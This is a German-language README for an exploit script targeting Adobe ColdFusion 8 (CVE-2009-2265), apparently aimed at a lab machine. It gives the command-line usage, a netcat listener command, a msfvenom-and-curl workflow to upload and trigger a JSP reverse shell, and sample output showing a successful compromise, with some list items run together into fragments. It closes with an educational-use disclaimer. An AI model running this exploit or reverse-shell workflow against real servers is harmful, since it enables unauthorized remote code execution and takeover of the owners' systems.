
Adobe ColdFusion 8 - Remotecodeausführung (RCE)
Dieser Exploit zielt auf eine bekannte Schwachstelle in Adobe ColdFusion 8 (CVE-2009-2265) ab. Er ermöglicht die Remote-Befehlsausführung (RCE) durch das Hochladen einer bösartigen JSP-Nutzlast, die eine Reverse-Shell-Verbindung herstellt.
msfvenom.Um diesen Exploit zu verwenden, benötigen Sie Folgendes:
./CVE-2009-2265 -l <LHOST> -p <LPORT> -r <RHOST> -q <RPORT>
-l <LHOST>: Lokale Angreifer-IP (z. B. 10.10.16.5).-p <LPORT>: Lokaler Angreifer-Port für die Reverse Shell (z. B. 9001).-r <RHOST>: Remote-Ziel-IP (z. B. 10.10.10.11).-q <RPORT>: Remote-Ziel-Port, auf dem ColdFusion läuft (z. B. 8500)../CVE-2009-2265 -l 10.10.16.5 -p 9001 -r 10.10.10.11 -q 8500
Starten Sie einen Listener auf Ihrer Angreifer-Maschine:
nc -lnvp 9001
Führen Sie den Exploit mit den entsprechenden Argumenten aus.
Nach der Ausführung verbindet sich die Nutzlast zurück zu Ihrem Listener.
Nutzlast generieren:
msfvenom, um eine bösartige JSP-Nutzlast zu generieren.Nutzlast hochladen:
Nutzlast auslösen:
Reverse Shell herstellen:
msfvenom zur Nutzlastgenerierung.curl zum Hochladen und Auslösen der Nutzlast.nc (Netcat) zum Lauschen auf Reverse-Shell-Verbindungen.[+] Generating JSP reverse shell payload...
[+] Payload saved as 'abcd1234-5678-90ef-ghij-1234567890ab.jsp'.
[+] Uploading the payload to the target...
[+] Server response:
<script type="text/javascript">
window.parent.OnUploadCompleted(0, "/userfiles/file/abcd1234-5678-90ef-ghij-1234567890ab.jsp", "abcd1234-5678-90ef-ghij-1234567890ab.txt", "0");
</script>
[+] Waiting for the Netcat listener to start on port 9001...
[+] Netcat listener detected running on port 9001!
[+] Attempting to trigger the payload...
[+] Payload triggered successfully. Check your listener for the reverse shell.
[+] Cleaning up local files...
[+] Done!
Dieses Skript dient ausschließlich zu Bildungszwecken. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testberechtigung haben. Die unbefugte Nutzung dieses Exploits auf Systemen, die Ihnen nicht gehören, ist illegal und unethisch.
Entwickelt von [0xDTC].